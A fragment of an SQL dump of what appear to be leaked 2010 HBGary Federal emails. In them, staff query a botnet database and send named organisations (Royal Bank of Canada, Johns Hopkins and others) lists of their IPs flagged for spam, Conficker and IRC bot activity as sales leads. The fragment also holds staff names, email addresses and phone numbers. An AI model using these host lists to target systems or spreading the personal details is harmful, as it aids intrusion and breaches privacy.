2009 GMT\r\n\r\nIP : 170.175.49.53\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Feb 21 11:59:00 2009 GMT\r\n\r\nIP : 170.175.50.148\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 170.175.64.166\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 19 23:59:00 2009 GMT\r\n\r\nIP : 170.175.80.186\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb 16 16:59:00 2009 GMT\r\n\r\nIP : 170.175.86.213\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 20 09:59:00 2009 GMT\r\n\r\nIP : 170.175.89.44\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar  7 02:59:00 2009 GMT\r\n\r\nIP : 170.175.130.122\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 05:59:00 2009 GMT\r\n\r\nIP : 170.175.138.154\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 12:59:00 2009 GMT\r\n\r\nIP : 170.175.156.104\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 170.175.159.56\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 18 11:59:00 2009 GMT\r\n\r\nIP : 170.175.163.96\r\nConfidence : 50.666644%\r\nEvents :\r\n       Spam : Sun Mar  7 20:59:00 2010 GMT\r\n\r\nIP : 170.175.206.163\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 170.175.224.24\r\nConfidence : 10%\r\nEvents :\r\n       Conficker A/B : Tue Mar 10 07:22:50 2009 GMT\r\n\r\nIP : 170.175.240.112\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 142.245.17.51\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Oct  5 03:59:00 2009 GMT\r\n\r\nIP : 142.245.21.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar  5 05:59:00 2009 GMT\r\n\r\nIP : 142.245.82.243\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 16:59:00 2009 GMT\r\n\r\nIP : 142.245.85.76\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 142.245.238.240\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 17 07:59:00 2009 GMT\r\n\r\n\r\nIf you or your IT Dept have any questions please feel free to contact\r\nme via email or tel:  719-237-8623.\r\n\r\nRegards,\r\nTed\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4939,'aaron_hbgary_com/4939.html'),(7086,'2010-06-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005148.M295437P14101Q1941.eml','mark@hbgary.com,mark@hbgary.com','TASC','Hey Mark,\r\n\r\nWe\'ve got a good amount of results for TASC, but It looks like the\r\nquery died.  Is there a way for me to restart it over the web, your\r\nsystem is locked.\r\n\r\nTed\r\n',10073,'aaron_hbgary_com/10073.html'),(7087,'2010-06-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005148.M525969P14101Q1942.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: botnet discussion','I have a friend in Naples, FL who is a VP with RBC Bank.  Yesterday we\r\nwere chatting and I mentioned what we were doing with botnets,\r\nincident response, etc.  He was interested and asked me to see if any\r\nRBC nodes appear in the database.  I ran the query and sent him the\r\nresults below.  He\'s going to forward the info and try to get us an\r\naudience with their CISO.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Sat, Jun 5, 2010 at 3:09 PM\r\nSubject: botnet discussion\r\nTo: tamir.ness@rbc.com\r\n\r\n\r\nHi Sam,\r\n\r\nAs we discussed on the phone, HBGary and its partners have technology\r\nwhich allows us to passively enumerate nodes associated with illegal\r\nbot-nets.  As we passively collect this information it is logged to a\r\ndatabase (which is getting quite massive).  After we spoke, I did a\r\nwhois search on www.arin.net to identify the IP netblocks associated\r\nwith Royal Bank of Canada, see below list:\r\n\r\n159.55.0.0;159.55.255.255\r\n192.234.98.0;192.234.98.255\r\n198.203.235.0;198.203.235.255\r\n192.64.159.0;192.64.159.255\r\n192.64.161.0;192.64.164.255\r\n198.96.131.0;198.96.131.255\r\n207.181.111.192;207.181.111.223\r\n206.182.199.128;206.182.199.191\r\n206.182.199.0;206.182.199.63\r\n199.250.8.0;199.250.13.255\r\n170.175.0.0;170.175.255.255\r\n142.245.0.0;142.245.255.255\r\n198.96.128.0;198.96.139.255\r\n198.96.134.0;198.96.134.255\r\n198.96.135.0;198.96.135.255\r\n198.96.136.0;198.96.136.255\r\n198.96.128.0;198.96.128.255\r\n198.96.129.0;198.96.129.255\r\n198.96.130.0;198.96.130.255\r\n198.96.132.0;198.96.132.255\r\n198.96.133.0;198.96.133.255\r\n198.96.137.0;198.96.137.255\r\n198.96.138.0;198.96.138.255\r\n198.96.139.0;198.96.139.255\r\n64.26.141.32;64.26.141.39\r\n\r\nI then queried our database to see if any of these IP addresses have\r\nbeen passively observed in any of the 65 bot-nets that we collect data\r\non and the results are below.  Don\'t put too much weight into the\r\nConfidence value.  We are still working on the confidence algorithm.\r\nAt this point, it basically starts at 100% and then decreases over\r\ntime at different rates, based upon the type of event and the number\r\nof recorded observations.\r\n\r\nAll of these RBC machines may have already been identified and fixed\r\nby your IT security dept, or they could all still be infected.  I\r\nwould suggest that since it is a pretty small number of hosts (~40),\r\nit would be worthwhile for your security team to at least check out\r\nthese machines to see if they have any current bot-net infections,\r\nespecially the ones that were observed most recently:\r\n\r\nIP : 159.55.0.188\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 06:59:00 2009 GMT\r\n\r\nIP : 159.55.29.33\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 159.55.29.179\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 10 03:59:00 2009 GMT\r\n\r\nIP : 159.55.31.99\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 22:59:00 2009 GMT\r\n\r\nIP : 159.55.38.158\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 09:59:00 2009 GMT\r\n\r\nIP : 159.55.38.178\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 21 03:59:00 2009 GMT\r\n\r\nIP : 159.55.42.28\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 15:59:00 2009 GMT\r\n\r\nIP : 159.55.57.73\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 14 01:59:00 2009 GMT\r\n\r\nIP : 159.55.63.151\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Jan  7 06:59:00 2009 GMT\r\n\r\nIP : 159.55.80.204\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 22 07:59:00 2009 GMT\r\n\r\nIP : 159.55.110.122\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 159.55.133.43\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb  6 17:59:00 2009 GMT\r\n\r\nIP : 159.55.161.149\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 23 11:59:00 2009 GMT\r\n\r\nIP : 159.55.168.153\r\nConfidence : 27.312005%\r\nEvents :\r\n       Spam : Sun Jan 31 09:59:00 2010 GMT\r\n\r\nIP : 159.55.186.237\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 10:59:00 2009 GMT\r\n\r\nIP : 159.55.193.238\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 159.55.233.118\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 13 20:59:00 2009 GMT\r\n\r\nIP : 192.64.159.184\r\nConfidence : 32.596871%\r\nEvents :\r\n       Spam : Sat Feb 20 15:59:00 2010 GMT\r\n\r\nIP : 199.250.8.220\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Apr 27 17:59:00 2009 GMT\r\n\r\nIP : 199.250.13.98\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Jun  1 18:59:00 2009 GMT\r\n\r\nIP : 170.175.6.106\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 05:59:00 2009 GMT\r\n\r\nIP : 170.175.37.68\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb  4 16:59:00 2009 GMT\r\n\r\nIP : 170.175.46.24\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 170.175.49.53\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Feb 21 11:59:00 2009 GMT\r\n\r\nIP : 170.175.50.148\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 170.175.64.166\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 19 23:59:00 2009 GMT\r\n\r\nIP : 170.175.80.186\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb 16 16:59:00 2009 GMT\r\n\r\nIP : 170.175.86.213\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 20 09:59:00 2009 GMT\r\n\r\nIP : 170.175.89.44\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar  7 02:59:00 2009 GMT\r\n\r\nIP : 170.175.130.122\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 05:59:00 2009 GMT\r\n\r\nIP : 170.175.138.154\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 12:59:00 2009 GMT\r\n\r\nIP : 170.175.156.104\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 170.175.159.56\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 18 11:59:00 2009 GMT\r\n\r\nIP : 170.175.163.96\r\nConfidence : 50.666644%\r\nEvents :\r\n       Spam : Sun Mar  7 20:59:00 2010 GMT\r\n\r\nIP : 170.175.206.163\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 170.175.224.24\r\nConfidence : 10%\r\nEvents :\r\n       Conficker A/B : Tue Mar 10 07:22:50 2009 GMT\r\n\r\nIP : 170.175.240.112\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 142.245.17.51\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Oct  5 03:59:00 2009 GMT\r\n\r\nIP : 142.245.21.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar  5 05:59:00 2009 GMT\r\n\r\nIP : 142.245.82.243\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 16:59:00 2009 GMT\r\n\r\nIP : 142.245.85.76\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 142.245.238.240\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 17 07:59:00 2009 GMT\r\n\r\n\r\nIf you or your IT Dept have any questions please feel free to contact\r\nme via email or tel:  719-237-8623.\r\n\r\nRegards,\r\nTed\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6631,'aaron_hbgary_com/6631.html'),(7088,'2010-06-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005160.M552036P14101Q1943.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Updated attribution slides',' \r\nRich,\r\n \r\nHere is an updated copy of the presentation I am working on for REBL.  I am shooting for around 100 slides, which is normal for most of my presentations.\r\n \r\n-Greg\r\n',14027,'aaron_hbgary_com/14027.html'),(7089,'2010-06-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005161.M157166P14101Q1944.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,,,,','Re: Demo with Johns Hopkins Univ Applied Physics Lab','Bob,I just kicked off the search, for the following net blocks owned by Johns Hopkins U:\r\n192.12.13.0;192.12.13.255\r\n192.12.14.0;192.12.14.255\r\n128.220.0.0;128.220.255.255\r\n128.244.0.0;128.244.255.255\r\n204.9.128.0;204.9.135.255\r\n65.204.153.144;65.204.153.151\r\nI already have some good, recent results (see below). The search will take hours, I&#39;ll send you the final results when it completes. \r\n\r\nIP : 192.12.13.2\r\nConfidence : 71.453984%\r\nEvents : \r\n	Conficker C : Wed May  6 19:19:32 2009 GMT\r\n	Conficker A/B : Thu May 13 01:05:36 2010 GMT\r\n	Spam : Thu Jun 11 18:59:00 2009 GMT\r\n\r\nIP : 192.12.13.32\r\nConfidence : 71.462935%\r\nEvents : \r\n	Conficker C : Fri Apr 16 14:47:12 2010 GMT\r\n	Conficker A/B : Thu May 13 02:10:33 2010 GMT\r\n	Spam : Sun May 24 11:59:00 2009 GMT\r\n\r\nIP : 192.12.13.129\r\nConfidence : 73.708112%\r\nEvents : \r\n	Conficker A/B : Tue May 25 04:11:12 2010 GMT\r\n\r\nIP : 128.220.0.15\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 128.220.3.108\r\nConfidence : 73.214159%\r\nEvents : \r\n	IRC Bot : Sat May 22 03:41:11 2010 GMT\r\n\r\nIP : 128.220.5.62\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Fri Jul 24 17:22:12 2009 GMT\r\n\r\nIP : 128.220.5.110\r\nConfidence : 52.015178%\r\nEvents : \r\n	Conficker A/B : Fri Mar 12 18:49:01 2010 GMT\r\n\r\nIP : 128.220.6.85\r\nConfidence : 26.049824%\r\nEvents : \r\n	Conficker A/B : Thu Jan 28 12:30:52 2010 GMT\r\n\r\nOn Jun 5, 2010, at 7:09 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nI have a demo coming up this week.  Can you get me a list of\r\nmachines for them?\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10365,'aaron_hbgary_com/10365.html'),(7090,'2010-06-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005161.M492263P14101Q1945.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Demo with Johns Hopkins Univ Applied Physics Lab','I\'m starting to think we should run a report for the entire HBGary\r\ncustomer list, it could help get follow-on work or expand existing\r\nwork. Your thoughts?\r\n\r\nThe data is currently free for us. If I had a complete customer list I\r\ncould automate the queries.\r\n\r\nTed\r\n\r\nOn Jun 5, 2010, at 7:09 PM, Bob Slapnik  wrote:\r\n\r\n> Ted,\r\n>\r\n>\r\n>\r\n> I have a demo coming up this week.  Can you get me a list of machines for them?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',6097,'aaron_hbgary_com/6097.html'),(7091,'2010-06-06','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297005161.M938803P14101Q1946.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: EndGame Query','I like the approach.  A portion of my external pen-tests involved factiva/DnB background checks but this is much more relevant to today&#39;s threat landscape.  The real test for me will be to see a final product though.  When dealing with Shadowserver output, it would be a significant amount of follow up time per hit but sometimes worth it.  The problem with this data is that it needs to be translated to something usable to the internal admins.  They have to translate each external IP based on timestamp to get the pre-NAT host IP and then maybe dig through dhcp logs to see who had that IP at that time.  But let me know when I can see something more formalized.\r\nI&#39;m not so sure about the nmap piece though.  That is a slippery slope.  If a customer has 4 class B&#39;s for example it could take FOREVER to scan.  On Fri, Jun 4, 2010 at 12:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSo here is the thought process.  I would love your input.  We are going to work with EGS to modify the confidence values.  Currently it is based on a decay weight and a few other factors, at one point that box was compromised, but since it happened in the past the % confidence that it is still compromised drops.\r\nWith a combination of the EGS, Fidelis, and AD products.  Prior to an engagement you do a query of the netblock for an organization so you go into the organization with some prior knowledge, maybe do a little open source research and nmap work to add to your starting knowledge.  You can take the information you gain and populate some rules inside the fidelis and AD appliances to target historically known bad systems.  At the same time your doing your normal search and discovery efforts.\r\nquick and dirty, but want to get your thoughts.AAronOn Jun 4, 2010, at 10:43 AM, Phil Wallisch wrote:\r\nThanks for running this guys.  I&#39;m not sure what I would do with it though.  One big issue for CERT teams like this one is that it has to really be worth my time to chase something down.  We have gigs and gigs of logs every day.  These look like low confidence SPAM incidents.  We&#39;d have to go to the firewall, proxy, mailserver, then the end-node.  I think in order for it to be useful it would need to be very timely, like an IDS alert.  It&#39;s easier to search recent logs than archived logs etc.  Also what am I searching for here?  I see no domain names, suspected trojan families, dest. IPs.\r\n\r\nOn Wed, Jun 2, 2010 at 12:14 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nHi Phil,\r\n\r\nBelow are the results of the query and the IPs we searched for, which\r\nwe pulled directly out of ARIN -- if you have other netblocks you&#39;d\r\nlike us to search please let me know:\r\n\r\nIP : 199.89.73.222\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Jan 20 14:59:00 2009 GMT\r\n\r\nIP : 199.89.93.160\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar  6 16:59:00 2009 GMT\r\n\r\nIP : 199.89.95.143\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar 23 08:59:00 2009 GMT\r\n\r\nIP : 199.89.111.246\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Jan 16 07:59:00 2009 GMT\r\n\r\nIP : 199.89.114.2\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Sep 24 05:59:00 2009 GMT\r\n\r\nIP : 199.89.117.127\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 199.89.120.38\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Jan  9 16:59:00 2009 GMT\r\n\r\nIP : 138.20.81.212\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 24 16:59:00 2009 GMT\r\n\r\nIP : 138.20.150.221\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb  5 01:59:00 2009 GMT\r\n\r\nIP : 138.20.192.235\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Feb  6 23:59:00 2009 GMT\r\n\r\nIP : 138.20.242.214\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb  9 14:59:00 2009 GMT\r\n\r\nIP : 144.14.14.168\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Mar 18 17:59:00 2009 GMT\r\n\r\nIP : 144.14.23.118\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Feb  7 01:59:00 2009 GMT\r\n\r\nIP : 144.14.112.192\r\nConfidence : 21.726545%\r\nEvents :\r\n        Spam : Fri Jan  8 18:59:00 2010 GMT\r\n\r\nIP : 144.14.118.159\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar 21 10:59:00 2009 GMT\r\n\r\nIP : 144.14.136.11\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar 16 23:59:00 2009 GMT\r\n\r\nIP : 144.14.169.194\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 144.14.178.88\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 144.14.221.130\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 26 08:59:00 2009 GMT\r\n\r\nIP : 144.14.225.17\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar  2 01:59:00 2009 GMT\r\n\r\nIP : 161.144.25.111\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Mar 10 12:59:00 2009 GMT\r\n\r\nIP : 161.144.26.16\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 10 09:59:00 2009 GMT\r\n\r\nIP : 161.144.32.139\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Mar 16 12:59:00 2009 GMT\r\n\r\nIP : 161.144.41.172\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb  5 03:59:00 2009 GMT\r\n\r\nIP : 161.144.43.149\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 161.144.47.191\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Feb 13 19:59:00 2009 GMT\r\n\r\nIP : 161.144.124.154\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Mar 18 22:59:00 2009 GMT\r\n\r\nIP : 161.144.126.183\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 22 02:59:00 2009 GMT\r\n\r\nIP : 161.144.156.89\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 161.144.156.96\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 161.144.225.163\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 09:59:00 2009 GMT\r\n\r\nIP : 161.144.228.228\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar  6 18:59:00 2009 GMT\r\n\r\nIP : 205.228.44.177\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar  6 22:59:00 2009 GMT\r\n\r\nIP : 205.228.49.222\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb 23 09:59:00 2009 GMT\r\n\r\nIP : 205.228.74.213\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 06:59:00 2009 GMT\r\n\r\nIP : 205.228.118.18\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 192.153.81.206\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\n12.42.42.0;12.42.42.127\r\n12.3.55.160;12.3.55.191\r\n12.166.104.160;12.166.104.191\r\n12.14.182.128;12.14.182.135\r\n209.202.130.128;209.202.130.255\r\n205.217.13.240;205.217.13.255\r\n65.211.235.200;65.211.235.207\r\n192.150.173.0;192.150.173.255\r\n204.254.196.0;204.254.199.255\r\n192.153.77.0;192.153.77.255\r\n199.5.0.0;199.5.7.255\r\n199.89.64.0;199.89.127.255\r\n138.20.0.0;138.20.255.255\r\n144.14.0.0;144.14.255.255\r\n161.144.0.0;161.144.255.255\r\n205.228.0.0;205.228.127.255\r\n63.120.20.0;63.120.20.255\r\n192.153.78.0;192.153.78.255\r\n192.153.79.0;192.153.79.255\r\n192.153.80.0;192.153.80.255\r\n192.153.81.0;192.153.81.255\r\n192.153.82.0;192.153.82.255\r\n192.153.83.0;192.153.83.255\r\n192.153.84.0;192.153.84.255\r\n192.153.85.0;192.153.85.255\r\n192.153.86.0;192.153.86.255\r\n4.18.192.160;4.18.192.175\r\n216.91.1.128;216.91.1.255\r\n209.223.197.16;209.223.197.31\r\n204.215.153.96;204.215.153.103\r\n216.210.172.192;216.210.172.199\r\n65.65.75.144;65.65.75.159\r\n207.213.110.80;207.213.110.87\r\n208.217.77.0;208.217.77.255\r\n68.252.139.32;68.252.139.39\r\n209.191.132.64;209.191.132.95\r\n64.74.62.192;64.74.62.223\r\n75.150.121.240;75.150.121.247\r\n76.203.102.112;76.203.102.119\r\n67.39.249.104;67.39.249.111\r\n65.69.134.176;65.69.134.183\r\n63.100.97.208;63.100.97.215\r\n65.242.168.128;65.242.168.255\r\n65.222.138.160;65.222.138.175\r\n24.38.44.48;24.38.44.55\r\n99.152.236.152;99.152.236.159\r\n\r\n--\r\nTed\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',2672,'aaron_hbgary_com/2672.html'),(7092,'2010-06-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005162.M153541P14101Q1947.eml','\"Tesch, John\" <jtesch@coloradotech.edu>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Re: Meet?','Excellent, I have a good talk prepared.  Mark and I will be there.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Sun, Jun 6, 2010 at 2:42 PM, Tesch, John  wrote:\r\n> Ted,\r\n>\r\n> Yes, I have combined the two classes to meet with you in Room 138, 11-1:00. You can shorten the lecture to 11:00-12:00 if you desire.\r\n>\r\n> CSS200 - Network Security\r\n> CSS300 - Hacking\r\n>\r\n> Your choice of topic.\r\n>\r\n> John\r\n>\r\n> ________________________________________\r\n> From: Ted Vera [ted@hbgary.com]\r\n> Sent: Saturday, June 05, 2010 5:48 PM\r\n> To: Tesch, John\r\n> Subject: Re: Meet?\r\n>\r\n> John,\r\n>\r\n> Are we on for Monday?  You didn\'t send me the details, so I\'m not sure.\r\n>\r\n> Let me know,\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> On Tue, Jun 1, 2010 at 9:18 AM, Tesch, John  wrote:\r\n>> I can do 8:00 PM at the universtiy on Thursday.\r\n>>\r\n>> ________________________________________\r\n>> From: Ted Vera [ted@hbgary.com]\r\n>> Sent: Tuesday, June 01, 2010 10:11 AM\r\n>> To: Tesch, John\r\n>> Subject: Re: Meet?\r\n>>\r\n>> He arrives Wed evening.  Will Thursday work?\r\n>>\r\n>> On Tue, Jun 1, 2010 at 8:45 AM, Tesch, John  wrote:\r\n>>> Ted,\r\n>>>\r\n>>> I had to go to Vegas to learn of your move. Congrats. Many things are happening at CTU in the security area. I have to fly out to NSA to pick up the Academic Center of Excellence certification later this week. Can I meet with Aaron on Wednesday, 8:00 or 9:00 AM?\r\n>>>\r\n>>> John\r\n>>>\r\n>>> ________________________________________\r\n>>> From: Ted Vera [ted@hbgary.com]\r\n>>> Sent: Monday, May 31, 2010 10:42 AM\r\n>>> To: Tesch, John\r\n>>> Subject: Meet?\r\n>>>\r\n>>> Hi John,\r\n>>>\r\n>>> Aaron Barr will be in Colorado Springs this Wed-Fri, if you\'d like to\r\n>>> meet to discuss the CTU security lab and how you think HBGary can\r\n>>> help.\r\n>>>\r\n>>> Ted\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9077,'aaron_hbgary_com/9077.html'),(7093,'2010-06-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005162.M400243P14101Q1948.eml','\"Barr Aaron\" <aaron@hbgary.com>','endgames','We should also run reports for the defense contractors that we have\r\nties to:  GD, TASC, NG, Xetron, Mantech, CSC, SAIC, etc, etc.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6962,'aaron_hbgary_com/6962.html'),(7094,'2010-06-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005162.M649287P14101Q1949.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: Demo with Johns Hopkins Univ Applied Physics Lab','Ted,\r\n\r\nHow much work is it to do by customer?  A lot of our customers aren\'t\r\ncandidates for an enterprise system.  Or I could give you a list of\r\ncompanies and organizations to search.\r\n\r\nBob \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Sunday, June 06, 2010 4:15 